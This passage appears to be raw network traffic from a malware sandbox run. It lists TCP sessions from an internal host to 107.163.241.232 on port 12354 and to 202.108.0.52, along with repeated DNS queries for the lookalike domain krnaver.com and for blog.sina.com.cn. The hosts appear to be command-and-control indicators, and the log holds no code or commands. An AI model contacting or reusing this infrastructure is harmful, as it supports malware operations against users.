Dec 11, 2024 16:29:04.672169924 CET	65434	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.751434088 CET	12354	65455	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.751508951 CET	65455	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.751889944 CET	65455	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.760288000 CET	80	65457	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.760535002 CET	65457	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.760823011 CET	65457	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:04.787487984 CET	12354	65434	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.787547112 CET	65434	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.787724018 CET	65434	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.788309097 CET	49214	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.792282104 CET	12354	65434	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.871087074 CET	12354	65455	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.871166945 CET	12354	65455	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.871189117 CET	65455	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.871575117 CET	65455	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.880496979 CET	80	65457	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.883397102 CET	80	65457	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:04.906908035 CET	12354	65434	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.907078028 CET	12354	65434	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.907634020 CET	12354	49214	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.907727003 CET	49214	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.911946058 CET	49214	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.913341999 CET	49314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:04.991029024 CET	12354	65455	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:04.991148949 CET	12354	65455	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.002393007 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:05.027358055 CET	12354	49214	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.027414083 CET	49214	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.028127909 CET	49214	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.028713942 CET	49366	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.032110929 CET	12354	49214	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.033706903 CET	12354	49314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.033814907 CET	49314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.034260988 CET	49314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.123743057 CET	80	49349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:05.123821020 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:05.124154091 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:05.149002075 CET	12354	49214	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.149869919 CET	12354	49214	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.150643110 CET	12354	49366	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.150724888 CET	49366	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.150991917 CET	49366	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.155791044 CET	12354	49314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.243674994 CET	80	49349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:05.270406961 CET	12354	49366	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.270976067 CET	12354	49366	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.283771992 CET	49524	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.403107882 CET	12354	49524	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:05.403222084 CET	49524	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.412724018 CET	49524	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:05.532789946 CET	12354	49524	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:06.690433025 CET	80	49349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:06.690483093 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:06.701350927 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:06.701378107 CET	443	50125	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:06.701761961 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:06.702171087 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:06.702182055 CET	443	50125	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:07.148226023 CET	12354	49314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.148278952 CET	49314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.149173975 CET	49314	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.149878979 CET	50540	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.268677950 CET	12354	49314	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.269275904 CET	12354	50540	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.269378901 CET	50540	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.269700050 CET	50540	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.389707088 CET	12354	50540	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.522957087 CET	12354	49524	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.523053885 CET	49524	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.523454905 CET	49524	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.523932934 CET	50787	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.800174952 CET	12354	49524	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.800193071 CET	12354	50787	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:07.800329924 CET	50787	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.800586939 CET	50787	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:07.925759077 CET	12354	50787	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:08.413429976 CET	443	50125	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:08.413527966 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.414194107 CET	443	50125	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:08.414271116 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.440109968 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.440198898 CET	443	50125	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:08.440335989 CET	50125	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.854965925 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.855304003 CET	51277	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.978439093 CET	80	51277	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:08.978554010 CET	51277	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.978646040 CET	80	49349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:08.978697062 CET	49349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.985167027 CET	51277	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:08.985229015 CET	50540	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:08.985243082 CET	50787	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.045147896 CET	51287	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.104693890 CET	80	51277	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:09.104758978 CET	51277	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:09.162774086 CET	51316	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.164558887 CET	12354	51287	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.164635897 CET	51287	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.164767027 CET	51287	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.284179926 CET	12354	51316	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.284327984 CET	51316	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.285016060 CET	51316	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.286880970 CET	12354	51287	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.287159920 CET	12354	51287	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.288065910 CET	51379	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.408096075 CET	12354	51316	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.410249949 CET	12354	51379	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.410321951 CET	51379	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.430563927 CET	51379	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:09.550431967 CET	12354	51379	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:09.812263012 CET	51809	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:09.953934908 CET	80	51809	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:09.954005957 CET	51809	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:09.954588890 CET	51809	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.073807955 CET	80	51809	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.073817015 CET	80	51809	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.073868036 CET	51809	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.095302105 CET	51809	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.194166899 CET	80	51809	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.211929083 CET	52236	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.214612961 CET	80	51809	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.331645012 CET	80	52236	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.331751108 CET	52236	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.334464073 CET	52236	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.451430082 CET	80	52236	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.451545000 CET	52236	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.453845024 CET	80	52236	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.455442905 CET	52236	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.570921898 CET	80	52236	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.571649075 CET	52611	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.574929953 CET	80	52236	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.691040993 CET	80	52611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.691154003 CET	52611	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.691494942 CET	52611	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:10.810806990 CET	80	52611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:10.810868025 CET	80	52611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:11.230019093 CET	52864	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:11.349366903 CET	80	52864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:11.352216005 CET	52864	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:11.417045116 CET	12354	51316	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:11.418210983 CET	51316	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:11.472219944 CET	80	52864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:11.473697901 CET	52864	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:11.526786089 CET	12354	51379	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:11.528258085 CET	51379	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.245472908 CET	52864	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:12.245537996 CET	52864	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:12.246074915 CET	51316	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.246330976 CET	52865	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.246478081 CET	51379	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.364861965 CET	80	52864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:12.364938974 CET	80	52864	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:12.365361929 CET	12354	51316	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.365653992 CET	12354	52865	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.365732908 CET	52865	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.365981102 CET	12354	51379	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.378259897 CET	52865	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.486531973 CET	12354	52865	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.486593962 CET	52865	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.498974085 CET	12354	52865	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.512151957 CET	52868	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.512530088 CET	52865	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.586469889 CET	52870	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:12.587331057 CET	52871	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.606259108 CET	12354	52865	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.631645918 CET	12354	52868	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.631915092 CET	52868	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.632008076 CET	12354	52865	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.639194965 CET	52868	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.709522009 CET	80	52870	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:12.709536076 CET	12354	52871	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.709644079 CET	52870	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:12.709821939 CET	52871	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.729585886 CET	52870	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:12.729738951 CET	52871	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:12.758618116 CET	12354	52868	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:12.849514961 CET	80	52870	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:12.849529028 CET	12354	52871	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:14.314785957 CET	80	52870	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:14.314879894 CET	52870	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:14.320991039 CET	53641	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:14.321022987 CET	443	53641	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:14.321321964 CET	53641	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:14.322041988 CET	53641	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:14.322072029 CET	443	53641	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:14.746861935 CET	12354	52868	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:14.746943951 CET	52868	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:14.826613903 CET	12354	52871	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:14.826754093 CET	52871	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:14.927325964 CET	52871	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:14.927773952 CET	52868	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:29:15.046835899 CET	12354	52871	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:15.047171116 CET	12354	52868	107.163.241.232	192.168.2.5
Dec 11, 2024 16:29:16.132730007 CET	443	53641	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:16.132837057 CET	53641	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:29:16.133521080 CET	443	53641	202.108.0.52	192.168.2.5
Dec 11, 2024 16:29:16.133698940 CET	53641	443	192.168.2.5	202.108.0.52

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:25:13.071496010 CET	54077	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:13.207972050 CET	53	54077	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:18.062844038 CET	50145	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:18.200052023 CET	53	50145	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:19.342663050 CET	52306	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:20.073265076 CET	53	52306	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:22.821135044 CET	59426	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:22.960517883 CET	53	59426	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:27.820358038 CET	60839	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:27.957400084 CET	53	60839	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:32.792936087 CET	58312	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:32.930325985 CET	53	58312	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:37.790735006 CET	53742	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:37.927422047 CET	53	53742	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:42.831751108 CET	60715	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:42.970226049 CET	53	60715	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:47.885291100 CET	53585	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:48.026998997 CET	53	53585	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:52.799913883 CET	59551	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:52.936856031 CET	53	59551	1.1.1.1	192.168.2.5
Dec 11, 2024 16:25:57.803704023 CET	62839	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:25:57.941178083 CET	53	62839	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:02.815658092 CET	50067	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:03.208854914 CET	53	50067	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:07.804286003 CET	50051	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:07.941930056 CET	53	50051	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:12.803925037 CET	50423	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:12.942298889 CET	53	50423	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:17.803486109 CET	51227	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:17.940962076 CET	53	51227	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:22.788589954 CET	57247	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:22.927382946 CET	53	57247	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:27.804456949 CET	64936	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:27.942306995 CET	53	64936	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:32.788119078 CET	51403	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:32.926198006 CET	53	51403	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:37.791555882 CET	54890	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:37.928060055 CET	53	54890	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:42.787600040 CET	62109	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:42.924160957 CET	53	62109	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:47.796838999 CET	64807	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:47.934812069 CET	53	64807	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:52.788491011 CET	57734	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:52.925328970 CET	53	57734	1.1.1.1	192.168.2.5
Dec 11, 2024 16:26:57.815001965 CET	57818	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:26:57.953171968 CET	53	57818	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:02.822133064 CET	51146	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:02.962169886 CET	53	51146	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:07.787754059 CET	57584	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:07.924618959 CET	53	57584	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:11.741447926 CET	60603	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:11.880498886 CET	53	60603	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:12.787147999 CET	59795	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:12.926763058 CET	53	59795	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:17.786992073 CET	59567	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:17.923607111 CET	53	59567	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:22.787527084 CET	60226	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:22.925246000 CET	53	60226	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:27.787178993 CET	53398	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:27.924124002 CET	53	53398	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:32.787101984 CET	50346	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:32.924101114 CET	53	50346	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:37.793123960 CET	51053	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:38.059576988 CET	53	51053	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:42.787026882 CET	64504	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:42.926035881 CET	53	64504	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:47.787739992 CET	53773	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:47.924698114 CET	53	53773	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:52.793369055 CET	52680	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:52.937419891 CET	53	52680	1.1.1.1	192.168.2.5
Dec 11, 2024 16:27:57.790317059 CET	60853	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:27:57.931880951 CET	53	60853	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:02.817323923 CET	60758	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:02.955868006 CET	53	60758	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:04.519416094 CET	57480	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:05.195233107 CET	53	57480	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:07.788446903 CET	54005	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:07.928417921 CET	53	54005	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:12.787775993 CET	59243	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:12.927418947 CET	53	59243	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:17.787197113 CET	54027	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:17.925956964 CET	53	54027	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:22.787240028 CET	51886	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:22.924180984 CET	53	51886	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:27.796145916 CET	50646	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:27.933945894 CET	53	50646	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:32.787873030 CET	62964	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:32.925152063 CET	53	62964	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:37.786994934 CET	63778	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:37.926563978 CET	53	63778	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:42.787246943 CET	64182	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:42.924209118 CET	53	64182	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:47.788245916 CET	54575	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:47.925035954 CET	53	54575	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:52.787205935 CET	54682	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:52.924124002 CET	53	54682	1.1.1.1	192.168.2.5
Dec 11, 2024 16:28:57.788042068 CET	55170	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:28:57.926753044 CET	53	55170	1.1.1.1	192.168.2.5
Dec 11, 2024 16:29:02.802495956 CET	62091	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:29:02.941864967 CET	53	62091	1.1.1.1	192.168.2.5
Dec 11, 2024 16:29:07.787344933 CET	60954	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:29:07.934595108 CET	53	60954	1.1.1.1	192.168.2.5
Dec 11, 2024 16:29:09.105931044 CET	64282	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:29:09.257832050 CET	64282	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:29:09.807732105 CET	53	64282	1.1.1.1	192.168.2.5
Dec 11, 2024 16:29:09.807744980 CET	53	64282	1.1.1.1	192.168.2.5
Dec 11, 2024 16:29:12.817562103 CET	59754	53	192.168.2.5	1.1.1.1
Dec 11, 2024 16:29:12.954524040 CET	53	59754	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 16:25:13.071496010 CET	192.168.2.5	1.1.1.1	0xcd78	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:18.062844038 CET	192.168.2.5	1.1.1.1	0xbb27	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:19.342663050 CET	192.168.2.5	1.1.1.1	0xc8f6	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:22.821135044 CET	192.168.2.5	1.1.1.1	0x3a4e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:27.820358038 CET	192.168.2.5	1.1.1.1	0x3f18	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:32.792936087 CET	192.168.2.5	1.1.1.1	0x54b4	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:37.790735006 CET	192.168.2.5	1.1.1.1	0x8db0	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:42.831751108 CET	192.168.2.5	1.1.1.1	0xdce2	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:47.885291100 CET	192.168.2.5	1.1.1.1	0x9f56	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:52.799913883 CET	192.168.2.5	1.1.1.1	0x18e4	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:57.803704023 CET	192.168.2.5	1.1.1.1	0xc8e0	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:02.815658092 CET	192.168.2.5	1.1.1.1	0x2385	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:07.804286003 CET	192.168.2.5	1.1.1.1	0x744f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:12.803925037 CET	192.168.2.5	1.1.1.1	0x7c7	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:17.803486109 CET	192.168.2.5	1.1.1.1	0x1787	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:22.788589954 CET	192.168.2.5	1.1.1.1	0x34d3	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:27.804456949 CET	192.168.2.5	1.1.1.1	0xc6f5	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
